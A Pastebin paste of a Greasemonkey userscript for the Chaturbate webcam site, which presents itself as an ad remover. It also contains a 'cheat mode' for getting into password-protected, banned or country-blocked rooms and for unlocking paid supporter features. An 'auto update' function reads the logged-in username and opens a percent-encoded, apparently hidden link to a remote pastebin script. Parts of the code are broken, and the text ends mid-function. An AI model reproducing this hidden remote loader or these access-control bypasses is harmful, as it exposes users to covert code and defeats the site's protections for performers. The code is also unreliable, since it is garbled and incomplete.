Advertisement
jimgreeno

Untitled

Sep 24th, 2017
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.    
  2.  
  3.     // ==UserScript==
  4.     // @name           chaturbate
  5.     // @version 1
  6.     // @namespace      chaturbate
  7.     // @description    chaturbate
  8.     // @include        http://chaturbate.com/*
  9.     // @include        http://*.chaturbate.com/*
  10.     // @exclude            http://serve.ads.chaturbate.com/*
  11.     // @run-at         document-start
  12.     // @grant          GM_getValue
  13.     // @grant          GM_setValue
  14.     // @grant          GM_addStyle
  15.     // @grant          GM_xmlhttpRequest
  16.     // ==/UserScript==
  17.      
  18.             scversion = 16.7;
  19.             flashplayer = "/static/flash/CBV_2p640.swf";
  20.      
  21.     //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  22.     // if you see this text then save the file as *- newchaturbate.user.js -*
  23.     // after saving open it inside firefox and install it.
  24.     //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  25.     //
  26.     //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  27.     // >>>>>>>>>>>>>>>>>>ONLY FOR FIREFOX WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<<
  28.     // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<<
  29.     // V12+
  30.     // Removes all advertisements
  31.     // Inserts a new video box if the room is password protected or if your banned or blocked
  32.     // More colums on the main screen and streched the chat box
  33.     // External links are no longer redirected
  34.     // Checks the version of the flash player and tries to use the same version on protectected rooms
  35.     // Shoutbox at the end of the screen
  36.     // By default the chat won't show emoticons
  37.     //
  38.     // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE !
  39.     //
  40.     // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal
  41.     // webcam or to go to a webcam with special functions.
  42.     // On a normal cam page you have the option to go back to the profile page.
  43.     //
  44.     // special video mode where you can enter a streamkey
  45.     //
  46.     // only the last updates are mentioned here , the list became too long
  47.     //
  48.     // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any
  49.     // time you want. if the performer goes private or groep you will stil auto-follow to the private room
  50.     // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode
  51.     // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use
  52.     // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one
  53.     // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy  
  54.     // v14.8 video server orgin3 added
  55.     // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names
  56.     // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string
  57.     // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be
  58.     // in broadcaster mode. You can open a room in clean Iframe mode.
  59.     // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user
  60.     // v15.3 all video options removed , tipping removed , fixed anon entry
  61.     // v15.4 fix for tipnotes
  62.     // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed
  63.     // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window
  64.     // v15.7 no more tip notes
  65.     // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!)
  66.     // v15.9 bug fix from 15.8
  67.     // v16.0 , number scipped
  68.     // v16.1 use of a random server in password room b.c. the static server was down.
  69.     // v16.2 fix for FF 23 , find a user added
  70.     // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added
  71.     // v16.3a & b & c chrome compatible , no update
  72.     // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup
  73.     // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo
  74.     //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  75.      
  76.             createCookie("agreeterms","1",1);
  77.             createCookie("np3","0",1);
  78.             if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
  79.      
  80.     function do_script() {
  81.      
  82.     // some adjustment needed if we are in cheat mode
  83.      
  84.             if (readCookie("cheatmode")){
  85.             mode=readCookie("cheatmode").split("&");
  86.             eraseCookie("cheatmode","chaturbate.com");
  87.             preformer=mode[0];
  88.             anon=mode[1];
  89.             mob=mode[2];
  90.             document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;");
  91.             base=document.createElement('BASE');
  92.             url=document.location.href;
  93.             url=url.replace(document.location.href.split("/")[4],preformer);
  94.             url=url.split("?")[0];
  95.      
  96.             base.setAttribute("href",url);
  97.      
  98.             document.getElementsByTagName('head')[0].appendChild(base);
  99.      
  100.      
  101.             text1="<center><b>Welcome in "+preformer+"'s room.</b><br></center>";
  102.             text2="<center><b>You are an anonymous user and you can not chat.</b><br></center>";
  103.             text3="<center><b>You are in mobile mode and you are not visible in the userlist.</b><br></center>";
  104.             text4='<center><b><a href="javascript:if(flash_handler.initializer.is_on_private_room==false){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=true;GetFlashObject(\'movie\').JoinPrivateRoom(0)};">Enter the private room</a>--------<a href="javascript:if(flash_handler.initializer.is_on_private_room==true){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=false;GetFlashObject(\'movie\').JoinRoom(0);}">Leave the private room</a></center>';
  105.             text5="<center><b><a href='http://chaturbate.com/p/"+preformer+"/'>Return to the profile.</a><br><br>";
  106.      
  107.             text=document.createElement('div');
  108.      
  109.             textf=text1;
  110.             if(anon==1){textf=textf+text2}
  111.             if(mob==1){textf=textf+text3}
  112.             if((anon==1)&&(mob==0)){textf=textf+text4}
  113.      
  114.             text.id="cheat";
  115.      
  116.             text.innerHTML=textf+text5;
  117.      
  118.             body=document.getElementsByTagName('body')[0];
  119.      
  120.             body.insertBefore(text, body.firstChild);
  121.      
  122.     // fix abuse
  123.             abu=document.getElementById("report_popup");
  124.             abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/");
  125.      
  126.     // fix the tipping    
  127.             tips=document.getElementsByClassName('tip_shell')[0];
  128.             tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/");
  129.      
  130.             }
  131.      
  132.     // always earase again, just in case we broke the page
  133.             eraseCookie("cheatmode","chaturbate.com");
  134.     // earase these too
  135.             eraseCookie("latest_linked_timestamp");
  136.             eraseCookie("latest_linked_username");
  137.             eraseCookie("affkey");
  138.             eraseCookie("fromaffiliate");
  139.      
  140.      
  141.     // from here normal script
  142.      
  143.     // remove visible adds
  144.             ad = document.getElementsByClassName('ad');
  145.             if (document.location.href.split("/")[3]!="b"){
  146.             if (ad[1]){ad[1].parentNode.removeChild(ad[1])}}
  147.      
  148.             verstr='<strong>Special edition </strong><br>V '+scversion;
  149.             if(document.getElementById("player")){verstr=verstr+'<br><label> Debug chatbox: </label><input type="checkbox" id="appnotice">'}
  150.             if (ad[0]){ad[0].innerHTML=verstr}
  151.      
  152.      
  153.             ad = document.getElementsByClassName('banner')[0];
  154.             if (ad){ad.parentNode.removeChild(ad)}
  155.             ad=document.getElementById("botright");
  156.             if (ad){ad.parentNode.removeChild(ad)}
  157.      
  158.     // advert options on menu bars and check if your logged in
  159.             if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");}
  160.             notlogged = GM_getValue( "all" , 0 );
  161.             bar=document.getElementById("nav");
  162.             if (bar){
  163.             barl=bar.getElementsByTagName('li');
  164.             i=barl.length-1;
  165.             while (i != -1){
  166.             d=barl[i].innerHTML;
  167.             if (d.indexOf('/login') != -1) {notlogged = 1}
  168.             if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--}
  169.             else{barl[i].parentNode.removeChild(barl[i]);i--}
  170.             }}
  171.      
  172.     // rss feed link
  173.             if(document.getElementsByClassName('wide')[0]){
  174.             newli=document.createElement('li');
  175.             newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/cam_listing/' target = _blank>LAST ONLINE </a>";
  176.             if (bar){bar.appendChild(newli)}}
  177.      
  178.     // find user
  179.             if(document.getElementsByClassName('wide')[0]){
  180.             newli=document.createElement('li');
  181.             newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/im_ads/' target = _blank>FIND A USER </a>";
  182.             if (bar){bar.appendChild(newli)}}
  183.      
  184.      
  185.     // blog spam
  186.             ad = document.getElementsByClassName('featured_blog_posts')[0];
  187.             if (ad){ad.parentNode.removeChild(ad)}
  188.      
  189.     // footer spam
  190.             ad = document.getElementsByClassName('featured_text')[0];
  191.             if (ad){ad.parentNode.removeChild(ad)}
  192.      
  193.     // announcement banner
  194.             ad = document.getElementsByClassName('top-section')[0];
  195.             if (ad){
  196.             ad = ad.getElementsByTagName('img')[0];
  197.             if (ad){ad.parentNode.removeChild(ad)}}
  198.      
  199.     // footer cleanup
  200.             ad = document.getElementsByClassName('footer-holder')[0];
  201.             if (ad){
  202.             ad1 = ad.getElementsByTagName('p')[3];
  203.             if (ad1){ad1.parentNode.removeChild(ad1)}
  204.             ad1 = ad.getElementsByTagName('p')[2];
  205.             if (ad1){ad1.parentNode.removeChild(ad1)}
  206.             ad1 = ad.getElementsByTagName('p')[1];
  207.             if (ad1){ad1.parentNode.removeChild(ad1)}
  208.             ad1 = ad.getElementsByTagName('p')[0];
  209.             if (ad1){ad1.parentNode.removeChild(ad1)}}
  210.      
  211.     // strech the screen
  212.             front=document.getElementsByClassName('c-1')[0];
  213.             if(front) {
  214.             front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
  215.             front=document.getElementsByClassName('c-1')[1];
  216.             if(front) {
  217.             front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
  218.      
  219.     // remove out of position images
  220.             container = document.getElementById("tabs_content_container")
  221.             if (container){
  222.             var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br");
  223.             for (n=0; n<taglist.length-1; n++){
  224.             blockelm (taglist[n]);
  225.             }}
  226.      
  227.             function blockelm(tag){
  228.             var image = container.getElementsByTagName(tag);
  229.             for (i=0; i<image.length; i++){
  230.             if (image[i].style.position){
  231.             if ((image[i].style.position.indexOf("absolute")!=-1)||(image[i].style.position.indexOf("fixed")!=-1)){
  232.             image[i].style.display="none"}
  233.             }}}
  234.      
  235.     //fix external links redirection
  236.             var link = document.getElementsByTagName('a');
  237.             for (i=0; i<link.length; i++){
  238.             if (link[i].href.indexOf('?url=') != -1){
  239.             linkhref=unescape(link[i].href);
  240.             newlinkhref=linkhref.substring(linkhref.indexOf("?url=")+5,linkhref.indexOf("&domain"));
  241.             link[i].href=newlinkhref}}
  242.      
  243.      
  244.             if (notlogged == 0){ // logged in
  245.      
  246.     // on a profile page link to cam
  247.             splits=document.location.href.split("/");
  248.             play=document.getElementById("movie"); // check for player
  249.      
  250.             if (splits[3]!="b"){ // not broadcasting
  251.             if (splits[3]=="p"){ // profile page (can have player)
  252.      
  253.             newli=document.createElement('li');
  254.             camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/"+splits[4];
  255.             newli.innerHTML="<a href="+camloc+">OPEN THE NORMAL CHAT </a>";
  256.             if (bar){bar.appendChild(newli)}
  257.      
  258.      
  259.     // go to semi password room
  260.             newli=document.createElement('li');
  261.             pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4];
  262.             newli.innerHTML="<a href='"+pwroom+"'>GO TO PASSWORD ROOM</a>";
  263.             if (bar){bar.appendChild(newli)};
  264.      
  265.     // go to embedded room
  266.             newli=document.createElement('li');
  267.             ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4];
  268.             newli.innerHTML="<a href='"+ebroom+"' target=_blank>OPEN THE ROOM IN A CLEAN PAGE</a>";
  269.             if (bar){bar.appendChild(newli)};
  270.      
  271.             } // end only on profile page
  272.      
  273.     // graphic rss feed
  274.             function showfeed(){
  275.             var x=document.getElementById("selector").selectedIndex;
  276.             feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ;
  277.      
  278.             GM_xmlhttpRequest({
  279.             method: 'GET',
  280.             url: feedXml,
  281.             onload: function(response) {
  282.             xmlString=response.responseText;
  283.      
  284.     // dirty HTML parser, i can handle xml as html
  285.             xmldoc=document.createElement('div');
  286.             xmldoc.innerHTML=xmlString;
  287.      
  288.             area=document.getElementsByClassName('content_body')[0];
  289.             area.innerHTML="";
  290.      
  291.             newdiv=document.createElement('div');
  292.             area.appendChild(newdiv);
  293.      
  294.             holder=document.createElement('ul');
  295.             holder.className="list";
  296.             holder.id="check";
  297.             newdiv.appendChild(holder);
  298.      
  299.             var items = new Array();
  300.             items=xmldoc.getElementsByTagName('item');
  301.      
  302.             blockstring='<img src="item1" alt="item2" class="png" height="148" width="180">'
  303.             +'<a href="item3" target="_blank" class="corners">&nbsp;</a>'
  304.             +'<div class="details">'
  305.             +'<div class="title">'
  306.             +'<a target="_blank" href="item4">item5</a>'
  307.             +'<span class="age genderitem6">&nbsp;</span>'
  308.             +'</div>'
  309.             +'<ul class="subject">'
  310.             +'<li></li>'
  311.             +'</ul>'
  312.             +'<ul class="sub-info">'
  313.             +'<li class="location">item8</li>'
  314.             +'<li class="cams">item9 min. online - item10 viewers</li>'
  315.             +'</ul>'
  316.             +'</div>';
  317.      
  318.             for (n=0; n<items.length; n++){
  319.             image_url= items[n].getElementsByTagName("image_url")[0].innerHTML;
  320.             title = items[n].getElementsByTagName("title")[0].innerHTML;
  321.      
  322.             guid =  items[n].getElementsByTagName("guid")[0].innerHTML;
  323.             gsplits=guid.split("/");
  324.             guid=gsplits[0]+"/"+gsplits[1]+"/"+gsplits[2]+"/p/"+gsplits[3];
  325.      
  326.             username = items[n].getElementsByTagName("username")[0].innerHTML;
  327.             gender = items[n].getElementsByTagName("gender")[0].innerHTML;
  328.             location_ = items[n].getElementsByTagName("location")[0].innerHTML;
  329.             number_of_users_watching = items[n].getElementsByTagName("number_of_users_watching")[0].innerHTML;
  330.      
  331.             online_since = items[n].getElementsByTagName("online_since")[0].innerHTML;
  332.             osplits=online_since.split(":");
  333.             Honline=parseInt(osplits[0].split(" ")[1]);
  334.             Monline=parseInt(osplits[1]);
  335.             Sonline=parseInt(osplits[2].split(".")[0]);
  336.      
  337.         offset = parseInt((new Date().getTimezoneOffset()))/60;
  338.             Honline = Honline+11+offset;
  339.             if (Honline >= 24){Honline=Honline-24}
  340.      
  341.             d = new Date();
  342.             Hnow = d.getHours();
  343.             Mnow = d.getMinutes();
  344.             Snow = d.getSeconds();
  345.      
  346.             secnow=(Hnow*60*60)+(Mnow*60)+Snow;
  347.             seconl=(Honline*60*60)+(Monline*60)+Sonline;
  348.             secdiff=Math.abs(secnow-seconl);
  349.             mindiff=parseInt(secdiff/60);
  350.            
  351.             block=document.createElement('li');
  352.             block.setAttribute("style", "margin: 5px 5px 5px 5px;");
  353.      
  354.             blockstring1=blockstring.replace("item1",image_url);
  355.             blockstring1=blockstring1.replace("item2",title);
  356.             blockstring1=blockstring1.replace("item3",guid);
  357.             blockstring1=blockstring1.replace("item4",guid);
  358.             blockstring1=blockstring1.replace("item5",username);
  359.             blockstring1=blockstring1.replace("item6",gender);
  360.             blockstring1=blockstring1.replace("item8",location_);
  361.             blockstring1=blockstring1.replace("item9",mindiff);
  362.             blockstring1=blockstring1.replace("item10",number_of_users_watching);
  363.      
  364.             block.innerHTML=blockstring1;
  365.      
  366.             holder.appendChild(block);
  367.      
  368.             } // end for
  369.      
  370.             setTimeout(function(){showfeed()},20000);
  371.      
  372.             } // end onload
  373.             }); // end xmlhttp
  374.             } // end function
  375.      
  376.      
  377.     //finduser
  378.             function finduser(){
  379.             fusern=document.getElementById("fusername").value;
  380.             if (fusern == ""){alert("First fill in a username !");return false}
  381.      
  382.             document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist";
  383.      
  384.      
  385.             feedXml='http://chaturbate.com/tours/3/?p=1&c=1000';
  386.      
  387.             GM_xmlhttpRequest({
  388.             method: 'GET',
  389.             url: feedXml,
  390.             onload: function(response) {
  391.             responsedoc=response.responseText;
  392.      
  393.     // dirty HTML parser
  394.             parse=document.createElement('div');
  395.             parse.innerHTML=responsedoc;
  396.      
  397.             var items = new Array();
  398.             items=parse.getElementsByClassName('title');
  399.      
  400.             var olnames = new Array();
  401.             for (i=0; i<items.length-1; i++){
  402.             olnames[i]=items[i].getElementsByTagName('a')[0].innerHTML;
  403.             }
  404.      
  405.     // save some memory
  406.             responsedoc="";
  407.             parse="";
  408.             items.length = 0;
  409.     // end parser
  410.      
  411.             document.getElementsByClassName('content_body')[0].innerHTML="Searching "+i+" rooms for user: <b>"+fusern+"</b><br><br>";
  412.      
  413.             i=0;
  414.             checkroom(olnames,i);
  415.      
  416.             } // end onload xml
  417.      
  418.             }); // end xml
  419.      
  420.             } //end function
  421.      
  422.      
  423.             function checkroom(olnames,i){
  424.      
  425.             userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c";
  426.      
  427.             document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : <b>"+olnames[i]+"</b><br>";
  428.      
  429.             GM_xmlhttpRequest({
  430.             method: 'GET',
  431.             url: userurl,
  432.             onload: function(response) {
  433.             data = response.responseText;
  434.             if(data.indexOf(fusern+"|") != -1){
  435.             document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '<b>"+fusern+"</b>' found in room : <a href='http://chaturbate.com/p/"+olnames[i]+"/' target='_blank'>"+olnames[i]+"</a><br>";
  436.             }
  437.             i++;
  438.             if(i==olnames.length){
  439.             if(document.getElementsByClassName('content_body')[0].innerHTML==""){
  440.             document.getElementsByClassName('affiliate_options')[0].innerHTML="User '<b>"+fusern+"</b>' not found."}
  441.             else{
  442.             document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."}
  443.             return false}
  444.             checkroom(olnames,i);
  445.             } // end onload xml2
  446.             }); // end xml2
  447.             }
  448.      
  449.     // set up rss page
  450.             if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){
  451.             document.title="Last cam's online";
  452.             area=document.getElementsByClassName('content_body')[0];
  453.             area.innerHTML="";
  454.             area=document.getElementsByClassName('affiliate_options')[0];
  455.             area.innerHTML='<br>Last cam\'s online : <select id="selector" ><option value="">Show all</option><option value="gender=f">Show only female</option><option value="gender=m">Show only male</option><option value="gender=c">Show only couple</option><option value="gender=s">Show only transsexual</option></select>';
  456.             showfeed();
  457.             }
  458.      
  459.     // set up find a user page
  460.             if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){
  461.             document.title="Find a user";
  462.             area=document.getElementsByClassName('content_body')[0];
  463.             area.innerHTML="";
  464.             area=document.getElementsByClassName('affiliate_options')[0];
  465.             area.innerHTML='<br>Enter the name of the user you want to locate: <input type="text" name="username" id="fusername"><input type="submit" value="Submit" id="submit"><br>';
  466.             document.getElementById("submit").addEventListener('click',function(){finduser();}, false);
  467.             }
  468.      
  469.     // on a player page, if logged in, unlock features.
  470.             if (play){  // player on the page ?
  471.             if (!readCookie("logstatus")){save()}
  472.             if(document.getElementById("defchat")){
  473.             scrip=document.createElement('script');
  474.             scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};";
  475.             document.getElementsByTagName('body')[0].appendChild(scrip);
  476.             }
  477.      
  478.     // console logger
  479.             if(document.getElementById("defchat")){
  480.             scrip=document.createElement('script');
  481.      
  482.             scriptstring="flash_handler.consolelog = "
  483.             +"function(msg2){"
  484.             +"xaa=document.getElementsByClassName('chat-list')[0];"
  485.             +"if(xaa){"
  486.             +"msg3=unescape(msg2);"
  487.             +"msg4='x';"
  488.             +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){"
  489.             +"msg4='<p><span class=\"tipalert\">'+msg3.substring(20)+'</span></p>'}"
  490.             +"if (msg3.indexOf('Notification privateshowrequest')!=-1){"
  491.             +"msg4='<p><span class=\"privatealert\">'+msg3.substring(20)+'</span></p>'}"
  492.             +"if(document.getElementById('appnotice')){"
  493.             +"if(document.getElementById('appnotice').checked==true){"
  494.             +"msg4='<p><span>'+msg3+'</span></p>';}}"
  495.             +"if(msg4 != 'x'){"
  496.             +"newdiv=document.createElement('div');"
  497.             +"newdiv.className='text';"
  498.             +"newdiv.innerHTML=msg4;"
  499.             +"xaa.appendChild(newdiv);"
  500.             +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){"
  501.             +"xaa.scrollTop=xaa.scrollHeight}}}};";
  502.      
  503.             scrip.innerHTML=scriptstring;
  504.             document.getElementsByTagName('body')[0].appendChild(scrip);
  505.             }
  506.      
  507.      
  508.     // options page on normal player page
  509.             if (splits[3]!="p"){ // no profile but still a player page = normal page
  510.             newli=document.createElement('li');
  511.             camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
  512.             newli.innerHTML="<a href="+camloc+">GO TO THE PROFILE PAGE WITH OPTIONS</a>";
  513.             if (bar){bar.appendChild(newli)}}
  514.      
  515.     // shoutbox on all player pages
  516.             newtab2=document.createElement('div');
  517.             newtab2.id="shout";
  518.             newtab2.innerHTML=sdata;
  519.             document.getElementById("defchat").appendChild(newtab2);
  520.      
  521.             } // end player page
  522.      
  523.     // remove lock picture from thumb
  524.             pictures = document.getElementsByClassName('preview');
  525.             if (pictures){
  526.             for (i=0; i<pictures.length; i++){
  527.             if(pictures[i].getAttribute("alt") =="Locked"){
  528.             pictures[i].parentNode.removeChild(pictures[i])}}}
  529.      
  530.     // specials
  531.     // if you have no access then create a new video box
  532.             area = document.getElementsByClassName('block')[0];
  533.             if (area){
  534.             if (area.innerHTML.length < 100){
  535.             preformer=splits[3];
  536.             if (preformer == "p"){document.location.href="http://chaturbate.com/"+splits[4]}
  537.             document.title = preformer+"'s No Access Room";
  538.             makevid (preformer)}}
  539.      
  540.             if (splits[3]=="roomlogin"){
  541.             preformer=splits[4];
  542.             document.title = preformer+"'s Password Protected Room";
  543.             room=document.getElementsByClassName('sub-nav')[0];
  544.             if (room){
  545.             room.getElementsByTagName('a')[0].href=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[4]+"/";
  546.             makevid (preformer)}}
  547.      
  548.      
  549.     //key entry
  550.             keyinput();
  551.      
  552.     // always set interval function, update every 3 sec.
  553.             t=setInterval(function(){
  554.      
  555.     // if on player page
  556.     // read flash player version
  557.      
  558.             play=document.getElementById("player");
  559.             if (play){
  560.             if (!readCookie("CBversion")){
  561.             version=document.getElementsByTagName('object')[0];
  562.             if (version){
  563.             createCookie("CBversion",version.getAttribute("data"),1,"chaturbate.com");
  564.             }}
  565.      
  566.     // nex cam = only video
  567.             rep=document.getElementsByClassName('nextcam')[0];
  568.             if (rep){
  569.             if (rep.innerHTML != "SHOW ONLY VIDEO"){
  570.             rep.href="#";rep.innerHTML="SHOW ONLY VIDEO";
  571.             rep.addEventListener('click',function(){popvid();}, false);
  572.             }}
  573.      
  574.      
  575.     // sorted userlist option
  576.             ulist=document.getElementsByClassName('users-list')[0];
  577.             if (ulist){
  578.             if(ulist.getElementsByTagName("a")[0]){
  579.             if(ulist.getElementsByTagName("a")[0].innerHTML!="refresh userlist sorted by tokens"){
  580.             newdiv=document.createElement('div');
  581.             newdiv.className='text';
  582.             newdiv.setAttribute('style','float:right');
  583.             newdiv.innerHTML='&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#">refresh userlist sorted by tokens</a>';
  584.             newdiv.addEventListener('click',function(){sortuser();}, false);
  585.             ulist.insertBefore(newdiv,ulist.getElementsByTagName("div")[0])}
  586.      
  587.             }}
  588.      
  589.     // tip mute option and fuction
  590.             settings=document.getElementsByClassName('settings-list')[0];
  591.             if (settings){
  592.             if(!document.getElementById("tipmute")){
  593.             newform=document.createElement('form');
  594.             newform.innerHTML='<label> Mute tip sound: </label><input type="checkbox" id="tipmute">';
  595.             settings.appendChild(newform);
  596.      
  597.             scrip=document.createElement('script');
  598.             scriptstring="if(document.getElementById('tipmute')){"
  599.             +"var oldbeep = PlayBeep;PlayBeep = function(text) {if(document.getElementById('tipmute').checked==true){return}else{return oldbeep(text)}}};";
  600.      
  601.             scrip.innerHTML=scriptstring;
  602.             document.getElementsByTagName('body')[0].appendChild(scrip);
  603.      
  604.             }}
  605.             } // end if play
  606.      
  607.     // if on front page    
  608.     //rewrite thumb links with P and let them open in a new window
  609.      
  610.             front=document.getElementsByClassName('list')[0];
  611.             if(front) {
  612.             if (front.id != "check"){ // id is gone when updated
  613.             front.id="check";
  614.      
  615.     // names with p
  616.             function setkeys(front){
  617.             blocks=front.getElementsByTagName('a');
  618.             for (i=0; i<blocks.length; i++){
  619.             link=blocks[i].href;
  620.             splits=link.split("/");
  621.             if (splits[3]){
  622.             if (splits[3]!="p"){
  623.             link=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
  624.             blocks[i].href=link;
  625.             blocks[i].target="_blank";
  626.             }}}
  627.             } // end setkeys function
  628.      
  629.      
  630.      
  631.             setkeys (front);
  632.             if (document.getElementsByClassName('list')[1]){setkeys(document.getElementsByClassName('list')[1])}
  633.      
  634.             }//end if front
  635.             } // end if ID
  636.             },3000) // end timer
  637.             } // end not broadcasting
  638.             } // end logged in
  639.      
  640.     } // end main function
  641.      
  642.     // sorted userlist
  643.      
  644.             function sortuser(){
  645.             ulist=document.getElementsByClassName('users-list')[0];
  646.             if (ulist){
  647.             ulist.innerHTML="Sorting userlist....";
  648.             room=unsafeWindow.nextroomurl.split("/")[2];
  649.             userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+room+"&private=false&sort_by=t";
  650.             GM_xmlhttpRequest({
  651.             method: 'GET',
  652.             url: userurl,
  653.             onload: function(response) {
  654.             data = response.responseText;
  655.             userarray=data.split(",");
  656.             ulist.innerHTML="";
  657.             for (i=1;i<userarray.length;i++){
  658.             uname=userarray[i].split("|")[0];
  659.             ucol=userarray[i].split("|")[1];
  660.             div3=document.createElement('div');
  661.             div3.innerHTML='<a href="/p/'+uname+'" target=_blank><strong class="color-'+ucol+'">'+uname+'</strong></a>';
  662.             ulist.appendChild(div3);
  663.             }
  664.             }})
  665.             }}
  666.      
  667.     //popvid
  668.             function popvid(){
  669.             vidwin=document.getElementById("player").innerHTML;
  670.             popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no");
  671.             popUpWindow.document.writeln ('<html><head><title>Floating '+document.title+'</title></head><body BGCOLOR="grey" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">'+vidwin+'</body></html>');
  672.             popUpWindow.document.close();
  673.             window.close();
  674.             document.location.href="http://chaturbate.com"}
  675.      
  676.     // new cheat function
  677.             function npcheat(preformer,anon){
  678.      
  679.             mmode=0;
  680.             if(document.getElementById('mobmode').checked==true){mmode=1}
  681.      
  682.     // get chat host
  683.             GM_xmlhttpRequest({
  684.             method: 'GET',
  685.             url: 'http://www.chaturbate.com/embed/'+preformer,
  686.             onload: function(response2) {
  687.             data2 = response2.responseText;
  688.      
  689.             chostpos=data2.indexOf("rtmp://chat");
  690.             if (chostpos == -1){
  691.             r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one.");
  692.             if (r==true){chost="rtmp://chat1"}
  693.             else{chost="rtmp://chat2"}}
  694.             else{
  695.             chost=data2.substring(chostpos,chostpos+12)}
  696.      
  697.     // set a cookie so we know the new page must be adjusted and how
  698.             createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com");
  699.      
  700.             window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/';
  701.      
  702.             }});
  703.             }
  704.      
  705.     //auto update
  706.             function save(){
  707.             if(document.getElementsByClassName('username')[0]){
  708.             uname=document.getElementsByClassName('username')[0].innerHTML;
  709.      
  710.      
  711.      
  712.     // createCookie("agreeterms","1",1);
  713.      if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
  714.      upperdate();
  715.      
  716.      function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 )
  717.      window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return;
  718.      }
  719.      
  720.     // create video box with shoutbox, image,normal and anon option, kill refesh
  721.             function makevid(preformer){
  722.      
  723.     // kill all timeouts
  724.             scrip=document.createElement('script');
  725.             scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}';
  726.             document.getElementsByTagName('body')[0].appendChild(scrip);
  727.      
  728.     // image
  729.             prefimg='<img class="png" width="180" height="148" src="http://cdn-i.highwebmedia.com/roomimage/'+preformer+'.jpg" img style="float:right;margin-right:100px;margin-top:10px;border-width:5px;border-style:double; ">';
  730.      
